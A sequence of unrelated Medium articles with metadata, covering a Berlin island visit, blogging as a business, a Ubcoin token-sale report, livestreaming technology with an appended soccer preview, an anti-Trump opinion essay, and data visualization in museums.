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Island of “Pathetic Chickens” and Fake Gothic Castles | The island turned out to be very close to the mainland. I could clearly see its miniature structures. It took the ferry only 3–4 minutes to do a trip from one bank to the other. I was thinking, “Why ferry? It could have been a bridge!” But probably a ferry helps to preserve this site intact being simultaneously an attraction and additional barrier.
Pfaueninsel ferry
Unlike ferries that are part of Berlin’s public transport and use the single trip ticket, this one requires extra payment including the entrance fee.
Castle and the first peacock
When I stepped on the island, I couldn’t decide where to go first so simply selected a random path to the nearest historic building. In a couple of minutes, I met the first feathered citizen. | https://medium.com/5-a-m/pfaueninsel-9c159dbbe92e | ['Slava Shestopalov'] | 2020-12-16 14:33:39.363000+00:00 | ['Berlin', 'Architecture', 'History', 'Photography', 'Travel'] |
Don’t Be a Writer, Be an Entrepreneur Who Writes | Don’t Be a Writer, Be an Entrepreneur Who Writes
The world isn’t short of great writers, it’s short of great entrepreneurs who write
Photo by Austin Distel on Unsplash
An entrepreneur who writes is different from a writer. Being an entrepreneur means your true passion lies in using your wits to make money. Writing is your weapon of choice. A writer’s passion, by contrast, lies in the craft itself.
A quick multiple choice question can reveal which one you are.
Is making money from your writing more important than being a great writer?
a) Yes, definitely.
b) No, being a great writer is more important.
c) I’d like to have both equally.
Got your answer?
Here’s the twist. It doesn’t matter what you choose. Writing and blogging is so competitive you have little choice but to adapt and evolve into an entrepreneur. If writing is more important, treat the entrepreneurial side of things as a necessary evil that helps facilitate your passion.
Plan like an entrepreneur
An entrepreneur views writing as a means to an end. Not the end itself. Being an awesome writer helps, but it’s not the most important aspect of a writing based business/side-hustle.
As with any startup, writing a blog post requires an investment in planning and research. A single blog post requires a business plan. Yup, you read that correctly.
A reminiscent post about how your sibling used to blow their nose and wipe it on you (that’s just a hypothetical example) doesn’t need a business plan. I’m talking specifically about money posts intended to carve out your own slice of the pie, make money, or contribute to the foundation of your writing empire.
Here’s a quick overview of what a blog post business plan contains.
Blog post business plan from How to make money blogging on SME Pals.
Like any entrepreneur starting a business you need to know:
How much time and effort is required.
What financial costs there are.
What gaps or angles exist.
What obstacles exist.
Who the competition is and what they’re doing right (and wrong).
How much traffic there is.
Who your audience is.
How much money you can make (depending on the type of affiliate relationship, product or service you’re offering).
How to make that money.
How long it will take to start making money.
…
For me, the most valuable part of putting together a business plan is the market research — more specifically, competitor analysis. Competitor analysis is wildly useful for bloggers. It illuminates the tactics successful competitors use to win market share and earn revenue. If you want to be the best, learn from the best.
Competitor analysis illuminates the tactics successful competitors use to win market share and earn revenue.
Most of all, and I can’t stress how important this is,
A blog post business plan will tell you whether or not your idea is viable and worth pursuing.
Don’t waste time on content you have already shown to have insufficient earning potential. Find something else. Explore new topics. Move on.
Download a free blog post business plan template I put together here.
Write like an entrepreneur
Here’s where writers and entrepreneurs who are writers join hands. At this stage, the better you are at engaging and captivating an audience, the better you’ll do.
Here are some handy tips I’ve found to work well for money-content.
Win the title
Titles are hard!
You have to juggle three things at once in a single, short sentence:
Use target SEO keywords Accurately describe the content Spark intrigue
Take time over the title. It is absolutely critical to the success of your post.
A title is to a blog post what an elevator pitch is to a startup.
Wired wrote an article about what a difference clickable headlines make.
The difference between a good headline and a bad headline can be just massive. It’s not (in the ballpark of) a rounding error. When we test headlines we see 20% difference, 50% difference, 500% difference. A really excellent headline can make something go viral.
Adapt and fine-tune the title as you go. Hold off until it’s ready to go out there and captivate people. The title is often the last thing I work on — once I fully understand the content and purpose of the article itself.
Draw ’em in description
Make the description a promise of something greatly valuable for the reader.
A blog description must inspire readers with an exciting promise of value.
Along with the header, the description is about the only chance you have to convince visitors to click thru. Don’t waste it on a dry, boring description.
To do this properly you need to understand who’s going to be reading the article and what they need to know.
The description isn’t about the content; it’s about the reader.
Gripping section titles
Gripping. Is. Key.
Make sub-titles and headers gripping. Never, ever let go of the reader’s attention. Not for a second. Like the description, sub-headers should inspire and intrigue, pulling readers along. Gary Korisko gives us this great quote.
The four main ingredients of great sub-headers are curiosity, surprise, personality & emotion.
Pitch perfect
This is one aspect of writing I struggle with the most. Often, writing about topics in which I have a lot of experience causes me to lose the audience quickly. Avoid assuming too much or too little knowledge. Both are equally adept at turning readers off.
The better you understand your audience, the easier it is to pitch content in a way that keeps them captivated.
Captivate ‘em
Always maintain your energy and enthusiasm while writing. Take regular breaks to keep your mind fresh. Write when inspiration strikes.
Find a method that works for you and do everything in your power to avoid slipping into a mediocre, run-of-the-mill voice that allows readers to drift away (without a conversion).
Format for skimmers
Formatting plays a big role. Spacing, structure, fonts & layout all make a big difference in how easily readers digest and retain information.
Above all else. Be concise & clear. According to Hubspot,
73% of visitors skim rather than read the blog post thoroughly.
Formatting is a way to break up content in a way that entices readers to keep going. Especially people who are starting out with a cursory scan of the article to see if it’s worth their time.
Cite experienced influencers & experts
Don’t look at blogging as something you do alone.
Blogging is a collaborative effort and diverse perspectives add value.
Gathering input from influencers in your niche is incredibly important for a bunch of reasons.
Experts know stuff (you don’t)
Relationships you build with influencers are valuable
Influencers can increase your reach and buzz
Influencers help you build trust & authority with your audience
Out of all these points, really the most salient and immediately valuable one is that including quotes and inputs from great influencers helps turn them into evangelists for your article — when it comes time to publish like an entrepreneur.
Influencers who have contributed to your article are more likely to mention or promote it.
Publish like an entrepreneur
Planning and creating content, together, should only constitute around one-third of your total investment in a piece of content— both in terms of time and money. That’s more or less how things tend to pan out for me. Maybe more, maybe less depending on your unique topic, network and reach.
Planning and creating content, together, should only constitute around one-third of your total investment in a piece of content.
I tend to publish money-pieces to my own blog because I want it to generate income for some time to come. Publishing a piece like this on 3rd party platforms arguably provides greater initial reach and a higher chance of ranking in Google search. It also comes with some potentially serious downsides.
Many big publisher will happily take your content and publish at an off-time where it quickly disappears from the front page without so much as a ripple. If that happens, it’s all for nothing. At least if it’s on your own site, you can continue to promote it and write guest articles citing any useful stats, facts and figures to keep a stream of traffic trickling along.
Whatever you choose, it’s time to start marketing. As I like to say,
It doesn’t matter what business you are in; the business you are in is marketing.
To wit, the folks at GrowthBadger had this to say about marketing and promoting your blog.
70% of bloggers who earn over $50,000 per year say they are active or very active promoters of their blogs, compared to only 14% of lower-income bloggers.
Make the news
Part of the business plan, back when you first started conceptualizing the article, would identify and integrate news media opportunities in some form or another. There should be at least one (preferably more) hook. Either:
Include newsworthy content (original research, current trends, novelty, conflict, etc) in the post Create news that cites your blog post
Interest stories are a great way to go — especially if it cites your new article in some way or another.
Create a newsworthy story by talking about other people, organizations or businesses doing incredible things.
Include local content if local media coverage is important. Interview people. Do Research. Offer a prize. Offer a scholarship. Do whatever it takes to be able to pitch something unique and interesting to reporters and journalists covering your beat.
Just. Be. Newsworthy.
I wrote an article highlighting the best new business ideas coming out of U.S. universities. That’s newsworthy because it a showcases up and coming entrepreneurial talent bubbling away at American colleges. Also, it has nothing to do with me.
Pitching a great story to the right media often results in a bit of coverage that can go a long way.
10 best new business ideas from university entrepreneurs posted to USA Today.
Getting into the news requires a slightly different set of writing skills. Namely, press releases. At some point you’ll need to learn how to hook journalists using attention-grabbing headlines and give them everything they need to make their news article easy and compelling for their readers.
You can check out a press releases templates, including a few practical tips here.
Influence the influencers
Having worked hard to collaborate with a whole bunch of experts and influencers, it’s now time to put those newfound contacts to good use (apart from the, hopefully, great quotes and info they contributed to your piece).
Put together a personalized pitch for each person you mentioned or collaborated with. Here’s a quick template that should do the trick for someone you only mentioned (but don’t necessarily know personally):
Subject: Congrats! You’ve been mentioned in my latest article.
Hi [name],
I really learned a lot from your piece about [title] and mentioned it (with a link) under [sub-topic] in my latest article [title][link].
I’d love it if you would consider contributing an additional insight for this article?
It can be as long or short as you like. I will of course cite and link your contribution. If you can also share a link to a head-shot that would be great.
Thanks,
David
The purpose of this outreach is primarily to thank them for being awesome enough to include in your post. Next, you want to tell them you’ve already given them great coverage (without asking for anything first). Finally there’s an offer to contribute more — requiring them to at least take the time to look at your article.
This is significantly more effective than any of the hundreds of emails I get on an ongoing basis asking me for coverage in one of my posts. Instead of asking for something, reach out to share what you’ve already done for them (not a promise to do something, if only they…).
Influence any influencer with an easy 3-step process. Offer. Engage. Pitch.
Alternatively, if they collaborated with you, the outreach email might look more like this:
Subject: I’ve added your awesome insights!
Hi [name],
I added and linked your contribution. Thanks so much. I’m super happy with it.
Check it out at [title][link].
I’ve also followed you on [social network] and [2nd/3rd/etc social network] to keep up to date with what you’re working on. Feel free to drop me a line if I can help out or contribute in any way.
If you love the article please consider linking or mentioning it.
Thanks,
David
In this instance you are thanking them for being awesome. Letting them know that you’ve become a fan and are following them. Offering to work with them and collaborate on future projects. Requesting a link or a mention if they really like the article (their name is on it already so it’s far more likely they will at least share it around).
Cast a wide net
Initially, if the article is self-published, it’s likely not going to drive much traffic — unless you have a huge audience and/or a good relationship with Google’s first page rankings.
Spend some time exploring related content. It could be drilling down into more depth, new research, finding opposing views, or whatever. Get new content up and about that links back to your article from other blogs and sites.
Draw on your newfound experience and knowledge to write and pitch fantastic guest articles to related blogs, websites & media.
Don’t stop
An article is never really finished. There will always be new opportunities for marketing and promotions to explore. Opportunities to add and update the article with great new content. Opportunities to unearth new opportunities.
It’s up to the entrepreneur in you to find clever new gaps to exploit, build new partnerships to generate more revenue, or simply decide to move on to the next exciting article. Sometimes it’s nice to sit back and watch earnings build up passively over time.
Like this
Passive earnings from a single blog post.
Decide to promote via social media. Or don’t. Try paid advertising. Or don’t. Learn new tricks from people who are dominating. Or blaze your own trail. The sky really is the limit when it comes to the business of content. That’s what interests me the most.
Sometimes you’ll get lucky and an article will out-earn your expectations handsomely. It happens now and then. Dumb luck definitely plays a role. Make sure you’re in the game long enough by being smart about everything you publish. In the long run, it’s way more profitable to make your own luck. | https://medium.com/swlh/dont-be-a-writer-be-an-entrepreneur-who-writes-61ff86af4f0b | ['David Mercer'] | 2020-08-28 15:29:50.267000+00:00 | ['Entrepreneurship', 'Writing', 'Startup', 'Marketing', 'Blogging'] |
Ubcoin crowdsale result | On August 27, 2018 the first part of a beautiful Ubcoin journey has ended — and a new promising chapter started. We closed Ubcoin token sale with success and are enormously thankful to all contributors, supporters, community members and others who put their trust in Ubcoin. We promise to continue to work hard and transparently to meet your expectations.
Crowdsale summary
Total funds raised: 27,294 ETH (94.1% of hardcap)
Unique token holders: 51,322
Total supply: 633,837,700 tokens (97.5% of max supply)
Circulating supply 316,918,850 tokens now, and after bounty payouts it will be 342,272,358 tokens (54% of total supply).
Non-circulating supply (46% of total supply) is tokens of the Reserve Pool, Community Rewards and Team Allocation.
Geographical distribution of contributors
Our most numerous, active and interested contributors come from the regions of East Asia and Southeast Asia. This is one of the reasons why we focus our corporate structure, technical development and marketing activities in these territories. South America, Europe and Africa made a significant contribution too.
Immediate plans
Trading of UBC tokens on COSS exchange (https://coss.io ) starts on 28 August 2018. We decided to start from smaller and highly promising exchange and then selectively list on medium and larger exchanges, both as the market improves and as trading community becomes more familiar with UBC.
Ubcoin Market mobile app will be available for download and use shortly, in September. The platform will be available in several Asian languages and will have the following features: creating a listing to sell goods, a chat establishing a real time communication between a seller and a buyer, and the process of buying an item for UBC tokens (utility tokens for settlement of smart contacts and fees on the platform). We follow the roadmap as planned.
Funds distribution
We plan to use raised funds as follows:
We believe the potential for Ubcoin app is enormous. We trust our community will support and drive the process of winning over hearts and minds of the crypto enthusiasts all over the globe, and together we will build a great business and a rewarding community experience! | https://medium.com/ubcoin-blog/ubcoin-crowdsale-result-a1ad12767245 | ['Ubcoin. Cryptocurrency Reimagined'] | 2018-09-24 16:37:24.804000+00:00 | ['Bitcoin', 'Ethereum', 'Ubcoin', 'Ubc', 'Ubc News'] |
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Livestreaming, what’s in it for us?
Technology has advanced significantly since the first internet livestream but we still turn to video for almost everything. Let’s take a brief look at why livestreaming has been held back so far, and what tech innovations will propel livestreaming to the forefront of internet culture. Right now livestreaming is limited to just a few applications for mass public use and the rest are targeted towards businesses. Livestreaming is to today what home computers were in the early 1980s. The world of livestreaming is waiting for a metaphorical VIC-20, a very popular product that will make live streaming as popular as video through iterations and competition.
Shared Video
Do you remember when YouTube wasn’t the YouTube you know today? In 2005, when Steve Chen, Chad Hurley, and Jawed Karim activated the domain “www.youtube.com" they had a vision. Inspired by the lack of easily accessible video clips online, the creators of YouTube saw a world where people could instantly access videos on the internet without having to download files or search for hours for the right clip. Allegedly inspired by the site “Hot or Not”, YouTube originally began as a dating site (think 80s video dating), but without a large ingress of dating videos, they opted to accept any video submission. And as we all know, that fateful decision changed all of our lives forever. Because of YouTube, the world that YouTube was born in no longer exists. The ability to share videos on the scale permitted by YouTube has brought us closer to the “global village” than I’d wager anyone thought realistically possible. And now with technologies like Starlink, we are moving closer and closer to that eventuality. Although the shared video will never become a legacy technology, before long it will truly have to share the stage with its sibling, livestreaming. Although livestreaming is over 20 years old, it hasn’t gained the incredible worldwide adoption YouTube has. This is largely due to infrastructure issues such as latency, quality, and cost.
Latency is a priority when it comes to livestreams.
Latency is the time it takes for a video to be captured and point a, and viewed at point b. In livestreaming this is done through an encoder-decoder function. Video and audio are captured and turned into code, the code specifies which colours display, when, for how long, and how bright. The code is then sent to the destination, such as a streaming site, where it is decoded into colours and audio again and then displayed on a device like a cell phone. The delay between the image being captured, the code being generated, transmitted, decoded, and played is consistently decreasing. It is now possible to stream content reliably with less than 3 seconds of latency. Sub-second latency is also common and within the next 20 or so years we may witness the last cable broadcast (or perhaps cable will be relegated to the niche market of CB radios, landlines, and AM transmissions).
On average, the latency associated with a cable broadcast is about 6 seconds. This is mainly due to limitations on broadcasts coming from the FCC or another similar organization in the interests of censorship. In terms of real-life, however, a 6 second delay on a broadcast is not that big of a deal. In all honesty a few hours’ delay wouldn’t spell the doom of mankind. But for certain types of broadcasts such as election results or sporting events, latency must be kept at a minimum to maximize the viability of the broadcast.
Sensitive Content is Hard to Monitor
Advances in AI technologies like computer vision have changed the landscape of internet broadcasting. Before too long, algorithms will be better able to prevent sensitive and inappropriate content from being broadcast across the internet on livestreaming platforms. Due to the sheer volume of streams it is much harder to monitor and contain internet broadcasts than it is cable, but we are very near a point where the ability to reliably detect and interrupt inappropriate broadcasts instantaneously. Currently, the majority of content is monitored by humans. And as we’ve learned over the last 50 or so years, computers and machines are much more reliable and consistent than humans could ever be. Everything is moving to an automated space and content moderation is not far behind. We simply don’t have the human resources to monitor every livestream, but with AI we won’t need it.
Video Quality
In the last decade we have seen video quality move from 720p to 1080p to 4K and beyond. I can personally remember a time when 480p was standard and 720p was considered a luxury reserved for only the most well funded YouTube videos. But times have changed and people expect video quality of at least 720p. Live streaming has always had issues meeting the demands of video quality. When watching streams on platforms like Twitch, the video can cut out, lag, drop in quality, and stutter all within about 45 seconds. Of course this isn’t as rampant now as it once was, however, sudden drops in quality will likely be a thorn in the side of live streams for years to come.
Internet Speeds
Perhaps the most common issue one needs to tackle when watching a live stream is their internet speed. Drops in video quality and connection are often due to the quality of the internet connection between the streamer and the viewer. Depending on the location of the parties involved, their distance from the server, and allocated connection speed the stream may experience some errors. And that’s just annoying. Here is a list of the recommended connection speeds for 3 of the most popular streaming applications:
Facebook Live recommends a max bit rate of 4,000 kbps, plus a max audio bit rate of 128 kbps.
YouTube Live recommends a range between 1,500 and 4,000 kbps for video, plus 128 kbps for audio.
Twitch recommends a range between 2,500 and 4,000 kbps for video, plus up to 160 kbps for audio.
Live streams are typically available for those of us with good internet. Every day more people are enjoying high quality speeds provided by fibre optic lines, but it will be a while until these lines can truly penetrate rural and less populated areas. Perhaps when that day comes we will see an upsurge of streaming coming from these areas.
Language Barrier
You can pause and rewind a video if you didn’t understand or hear something, and many video sharing platforms provide the option for subtitles. But you don’t really get that with a live stream. Pausing and rewinding an ongoing stream defeats the purpose of watching a stream. However, the day is soon approaching where we will be able to watch streams, in our own native language with subtitles, even if the streamer speaks something else. Microsoft Azure’s Cognitive Speech Services can give livestreaming platforms an edge in the future as it allows for speech to be automatically translated from language to language. The ability to watch a livestream in real time, with the added benefit of accurate subtitles in one’s own language, will also assist language learners in deciphering spontaneous speech.
Monetization
One of the most damning features of a live stream is the inherent difficulty in monetizing it. As mentioned before, videos can be paused and ads inserted. In videos, sponsored segments can be bought where the creators of the video read lines provided to them. Ads can run before videos etc. But in the case of a spontaneous live stream sponsored content will stick out. In the case of platforms like YouTube there are ways around ads. Ad blockers, the skip ad button, the deplorable premium account, and fast forwarding through sponsored segments all work together to limit the insane amount of ads we see every day. But in the case of a live stream, ads are a bit more difficult.
Live streaming platforms could implement sponsored overlays and borders or a similar graphical method of advertising, but the inclusion of screen shrinking add-ons like that may cause issues on smaller devices where screen size is already limited.
Monthly subscriptions are already the norm, but in the case of a live streaming platform (Twitch Prime not withstanding), it may be difficult for consumers to see the benefit in paying for a service that is by nature unscheduled and unpredictable. Live streams are great for quick entertainment, but as they can go on for hours at a time, re-watching streamed content is inherently time consuming. For this reason, many streamers cut their recorded streams down and upload them to platforms like YouTube where they are monetized through a partnership program. It is likely that for other streaming platforms to really take off, they would need to partner with a larger company and offer services similar to Amazon and Twitch.
What Might the Future of Livestreaming Look Like?
It is difficult to say, as it is with any speculation about the future. Technologies change and advance beyond the scope of our imaginations virtually every decade. But one thing that is almost a certainty is the continued advancement in our communications infrastructure. Fibre optic lines are being run to smaller towns and cities. Services like Google Fiber, which is now only available at 1 gigabit per second, have shown the current capabilities of our internet infrastructure. As services like this expand we can expect to see a large increase in the number of users seeking streams as the service they expect to interact with will be more stable than it currently is now. Livestreaming, at the moment, is used frequently by gamers and Esports and hasn’t yet seen the mass commercial expansion that is coming.
The future of live streaming is on its way. For clues for how it may be in North America we can look to Asia (taobao). Currently, livestreaming is quite popular in the East in terms of a phenomenon that hasn’t quite taken hold on us Westerners, Live Commerce. With retail stores closing left and right, we can’t expect Amazon to pick up all of the slack (as much as I’m sure they would like to). Live streaming affords entrepreneurs and retailers a new opportunity for sales and growth.
Live streaming isn’t the way of the future, video will never die, but the two will co-exist and be used for different purposes, as they are now. Live streaming can bring serious benefits to education as well by offering classrooms guest lessons and tutorials by leading professionals. Live streaming is more beneficial for education than video as it allows students to interact with guest teachers in real-time.
The live streaming market is waiting to be tapped. Right now there are some prospectors, but in North America, no one has really found the vein leading to the mine. So maybe it’s time to get prospecting.
Premier League leaders Liverpool will lock horns against West Bromwich Albion at Anfield on Sunday. The Reds will look to continue the great start they have hard in the season so far and consolidate their position at the top of the points table.
Klopp’s men have found some great form after they have won their last couple of matches against Tottenham Hotspur and Crystal Palace.
West Brom, on the other hand, lost their first match against Sam Allardyce on Sunday when they were handed a 3–0 drubbing at the hands of Aston Villa.
Premier League 2020–21 Liverpool vs West Bromwich Albion: Team News, Injury Update
Thiago Alcantara, Xherdan Shaqiri and James Milner all returned to team training, and we could see Milner and Shaqiri could be available for this game.
West Brom will have to do without Jake Livermore as he is currently serving a suspension. Conor Townsend, Hal Robson-Kanu and Kyle Bartley are also ruled out.
Liverpool vs West Bromwich Albion Probable Staring XI
Liverpool Probable Staring XI: Alisson Becker; Trent Alexander-Arnold, Joel Matip, Fabinho, Andy Robertson; Jordan Henderson, Gini Wijnaldum, Naby Keita; Mohamed Salah, Roberto Firmino, Sadio Mane
West Bromwich Albion Probable Staring XI: Sam Johnstone; Darnell Furlong, Semi Ajayi, Dara O’Shea, Kieran Gibbs; Matt Phillips, Romaine Sawyers, Matheus Pereira, Connor Gallagher, Grady Diangana; Karlan Grant
Whatever was supposed to happen when the Baggies hired Sam Allardyce clearly hadn’t happened in time for Aston Villa’s visit last weekend.
West Brom created nothing, apart from the strong impression that Big Sam won’t need to worry about how he’s going to spend his £1million survival bonus.
Still, short of turning up and finding where to plug in his sandwich toaster, Allardyce had little time to work his magic.
Remember, it only took 67 days for him to turn England into front-page news again.
So might another week of The Big Sam Method make all the difference against Liverpool? Probably not. But factor in Jurgen Klopp shuffling his pack before and during this one, and the goals-galore angles start to look iffy. | https://medium.com/@tixokex134/soccer-live-english-premier-league-livestream-west-bromwich-albion-vs-liverpool-soccer-b996946e25ec | [] | 2020-12-27 10:06:46.378000+00:00 | ['Liverpool', 'Scoreboard', 'English Premier League', 'Soccer', 'Live'] |
Trump Was Chosen to Damage America, and He Succeeded | The disastrous Trump presidency is coming to an end as chaotic and dysfunctional as the rest of his term. Several government agencies were hit with a widespread cyberattack believed to have been generated from Russia. (The president has said nothing.) And CNN reported that Trump briefly floated the idea of refusing to leave the White House. His staff shot down that scheme. However, it would have been entertaining to watch the former reality TV star frog-marched out of the White House. But Trump will probably leave for Florida over the holiday break and never return to the president’s residence.
But Trump leaves a trail of chaos in his wake. More than 300,000 people are dead from the coronavirus, which he tried to hide. Politico stated Trump loyalists at the Department of Health and Human Services tried to suppress negative information about COVID-19 deaths in the Black community. And even worse, some Trumpists tried to promote the spread of COVID-19 because they believed in the “herd mentality” approach. Dr. Scott Atlas, a kook recruited directly from FOX News, also pushed this idea. Atlas has no background in virology and is a trained radiologist. The Trump administration’s handling of the coronavirus pandemic is a case study in what not to do!
James Clapper called Trump a Russian asset. (Jay Godwin/Flickr)
However, this kind of dysfunctional administration shouldn’t be surprising. Vladimir Putin’s Russia helped Trump get elected (confirmed by the Select Committee on Intelligence’s report) because they knew he was a useful idiot; a buffoon who’d create chaos in the government and tear it apart from the inside. We don’t have the receipts and emails showing he’s a Russian agent, but he sure behaved like one. And this opinion is also shared by James Clapper, former director of National Intelligence. He called Putin “Trump’s handler.”
I’ve always believed Trump was an enemy of the state, who somehow managed to end up running the United States. Here are my reasons why:
Damage to U.S. reputation
The United States is worse off than it was four years ago. According to a 2020 Pew research survey, the country’s reputation has plummeted under Trump. However, the U.S.’s reputation increased in Russia. Russian state media declared, “Trump is ours” and has offered him sanctuary. They loved his work! Trump’s decision to pull out of Syria and abandon our long-time Kurdish allies also benefitted the Russians who ended up taking over American bases. U.S. forces tried to prevent American arms from falling into Russian hands by bombing their bases from the air! The Russians celebrated this action.
“Putin won the lottery! Russia’s unexpected triumph in the Middle East,” said Mikhail Rostovsky in the Russian newspaper Moskovsky Komsomolets, according to The Daily Beast. “Those who were convinced of Trump’s uselessness for Russia ought to think again…Trump’s mistake in Syria is the unexpected ‘lottery win’ that further strengthened Moscow’s position in the Middle East and undermined America’s prestige as a rational political player and a reliable partner.”
Even though Trump is on his way out of the White House and headed to God knows where, Putin is happy. The United States is in chaos, its international reputation is tarnished and the new Biden administration will spend years repairing Trump’s damage. And there’s also the likelihood that the money-hungry Trump will trade secrets for cash. It sounds like Putin got everything he wanted.
Trump weakened American democracy.
Trump’s reign of error also damaged the American political system. The U.S. likes to see itself as a beacon of democracy and claims to send its military around the world to establish democratic governments. But right now, American democracy looks shaky and chaotic. I don’t think many countries look at the current U.S. government and say, “I want some of that.”
Joe Biden won the election, and it’s been certified by the electoral college, but Trump-enabled cultists still refuse to accept the results. They’re convinced Democrats stole the election. However, their comments are so unhinged; they’re bordering on sedition. Trump loyalist Lt. Gen. Michael Flynn(rtd.) recently called on the president to invoke the Insurrection Act and use the military to oversee a new vote. And North Carolina state Sen. Bob Steinburg (R) suggested Trump suspend the constitution and remain in power. That’s called a dictatorship!
However, some Republicans have quit in disgust over these antics. Steve Schmidt, who ran Sen. John McCain’s 2008 presidential election campaign, left the GOP and became an independent. But now he’s joined the Democratic Party.
“At the end of the day, there’s now one pro-democracy political party in the United States of America and that’s the Democratic Party. And I am a member of that party because of that. I’m a single issue voter. I believe in democracy,” said Schmidt on MSNBC.
Trumpism worsened America’s racial divisions
White nationalism was also a major part of Trump’s platform. Make America Great Again really meant make America white again. He elevated neo-Nazis, such as Steve Bannon, Sebastian Gorka and the odious Stephen Miller, to high-level White House positions. Trumpism has also led to a resurgence of neo-Nazi groups such as the Charlottesville protesters who chanted, “Jews will not replace us.” Last weekend, the Proud Boys, a neo-fascist group rampaged through Washington, D.C. and vandalized Black Lives Matter signs.
Trump also heightened tensions between the Black community and the police. He previously said that he wanted police to get rough with suspects. But police associations loved Trump because they thought he sanctioned police violence. It’s not surprising that a Minnesota police officer choked George Floyd to death on camera, leading to nationwide protests. However, this strife delighted the Russians, who predicted the U.S.’s imminent collapse from internal divisions. And like Trump, they played an active role in stoking racial division by outsourcing their troll operation to West Africans, according to The Washington Post.
“This past April, a CNN investigation discovered Russian troll farms in Ghana and Nigeria that employed African nationals to post content emphasizing U.S. racial divisions. American policymakers were startled by the fact that Russians had outsourced information operations to West Africa. House Intelligence Committee Chairman Adam B. Schiff (D-Calif.) said that ‘the potential use of continental cutouts’ to obscure Russia’s involvement ‘represents new and inventive ways to cover their tracks and evade detection,” said The Post.
Making Putin happy
With all this chaos, unrest and blatant racism, many tourists and immigrants decided to skip America. According to The Times, Trump’s trade war cost the U.S. $11 billion in Chinese spending power. But that didn’t bother Trump. He wanted fewer non-white immigrants, even if they had highly-technical skills. In Trump’s mind, non-white immigrants were not welcome in the United States, because they only leached off the welfare system and brought down the national IQ.
However, even though Trump is on his way out of the White House and headed to God knows where, Putin is happy. The United States is in chaos, its international reputation is tarnished and the new Biden administration will spend years repairing Trump’s damage. And there’s also the likelihood that the money-hungry Trump will trade secrets for cash. It sounds like Putin got everything he wanted. You don’t need tanks and missiles to destroy a country when you have an agent, and plenty of helpers, who’ll do the work for you. | https://medium.com/@mannyotiko1/trump-was-chosen-to-damage-america-and-he-succeeded-cc590b9481f9 | ['Manny Otiko'] | 2020-12-17 20:36:30.579000+00:00 | ['Foreign Policy', 'Politics', 'Trump', 'Putin', 'Russia'] |
Curating Curiosity: How Data Viz Can Enhance the Museum Experience | Curating Curiosity: How Data Viz Can Enhance the Museum Experience
Data visualization can level up exhibits for both visitors and curators
When I was living in Paris at the beginning of this year, I went to a minimum of three museums a week. While this luxury was made possible by the combination of an ICOM card and unemployment, it was founded on a passion for museums. Looking back, some of my favorite museum exhibits were on topics that were originally uninteresting to me, but they all exemplified some level of data visualization use, such as interactive maps and information design. After researching digital initiatives and data visualization in museums, I came to the conclusion that in addition to enhancing the in-person experience, data visualization can further be used to enhance the digital experience, and even as a brainstorming tool for curators.
Digitalizing Collections
With museums closed nationwide due to COVID-19, visiting museums’ digital collections has been the safest and often only way to visit museums. Digitalization of museum collections didn’t originate during the COVID-19 era, however. Last year, the Cleveland Museum launched an open-access project allowing a website-viewing of their collections. Visitors can search by department, work type, etc., and even by how many views and clicks each piece has received as if it were a popularity contest. Other notable digital initiatives include the State Library of NSW that has an experimental, bird’s-eye view of their collection, Tate Museum with their online digital collection and collection dataset available to download, and the Cooper Hewitt, where you can search the collection by nontraditional methods like “tallest,” “shortest,” “widest,” etc. Digitalized collections not only allow prospective visitors to strategize their visit but also make collections accessible to wishful visitors at antipodes.
Screenshot of the State Library of NSW’s digital collection
Going digital now could have huge implications for the future in terms of potential income revenues and creative curation. Beyond accessibility, digital collections could serve as preparation for a disaster similar to COVID-19. Museums were hit hard, and it’s not difficult to imagine various monetary gains from novel digital museum ventures: from paid guided visits to online membership catalogs for viewing collections, which would be akin to exhibition catalogs that are features of every museum bookstore. Digitalizing collections is furthermore the first step toward globally visualizing collections. This alone is powerful, as it allows viewers around the world to not only view collections but explore them and draw relationships between different pieces. These two points tie into a larger benefit: it’s an avenue for creativity, innovation, and exploring stories untold and lurking in museum collections.
Developing New Stories
While navigating digital collections permits the visitor to hop between rooms, so to speak, in-person visits are not much of a choose-your-own-adventure. If you begin an exhibition, you step into a curated experience that leads you through a story, usually concluding in the gift shop. More often than not, the story thread is time, and subplots could be art movements like cubism, or impressionism, or even a particular artist. Can you think about the most unique museum exhibition that you experienced? What was unique about it?
My first taste of creative curation was during a visit to the Berkeley Art Museum & Pacific Film Archive (BAMPFA), in California. I’ll be honest that I didn’t have high expectations. I expected local artists, and at least one Picasso reject, organized by time or artist. Instead, the curators pulled from nontraditional relationships. Rather than group them chronologically, the curators arranged the works by subject or basic theme, as light; pieces separated by hundreds of years were compared instead of contrasted.
This decision allowed me to spot relationships between works that I might’ve missed had they been divided by walls and space. Although I’m unsure that BAMPFA used data visualization for ideation, data visualization techniques can be used to clearly view relationships that might not seem obvious at first. Being able to compare multiple works side by side or to filter through massive museum collections with the press of a button facilitates conceptualizing relationships between pieces.
A beautiful example of this is the Codex Atlanticus, which allows viewers to explore drawings and writings of Leonardo Da Vinici by subject, topic, year, and numerical order. Applied to a museum collection, such a system allows easy access to experimentation with the entire exhibition malleable at the touch of your fingertips. Like BAMPFA, other methods of content organization such as color, topic, substrate, etc. are all too easy to discover with data visualization techniques.
Whereas data visualization alone is more exploratory, designing infographics is all about telling a story. If more curators implemented infographics, they would be therefore forced to ask themselves, “What story do we want to tell?” and “How can we best tell it?” While a “traditional” approach may be appropriate, such as using chronology as the underlying story thread, this might not always be the case. Data visualization techniques could thus be beneficial to brainstorming during the ideation and exhibition development stages.
From Giorgia Lupi’s Draw Your Visit With Data Workshop
Giorgia Lupi’s Draw Your Visit With Data workshop that was hosted at the SFMOMA demonstrates one such method. During the session, attendees explored an exhibition with works linked only by chronology and were instructed to find their own story by using data. Connections ranged from concrete information like the artist’s demographics to their own subjective feelings. Curators could use a similar technique to promote ideation and realize relationships between works. The existence of a digital collection or preexisting data set and some data visualization skills would only ease this exercise.
Exhibition Experience
Upon entering an exhibition, you are following the curator’s story and logic. In an exhibition on Native American history, for example, you might find a map with tribes’ locations, whereas in an exhibition on Ancient Egypt, you’d find a timeline documenting its golden years and its fall. Curators often use maps, chronologies, and other infographics to fill in story holes or to provide ample context. I was especially grateful for infographics when I visited the Tolkien exhibition at Bibliothèque Nationale de France in Paris. Next to an overwhelming timeline of Middle Earth that spanned at least 10 feet was a map projected on the wall that cycled through Middle Earth’s races and the location of each population. The use of supplementary material not only added depth to the exhibition, but furnished a foundation, and context, regardless of the visitor’s background. It is additionally useful for capturing attention from afar and making traditional textual content more attiring and skim-friendly.
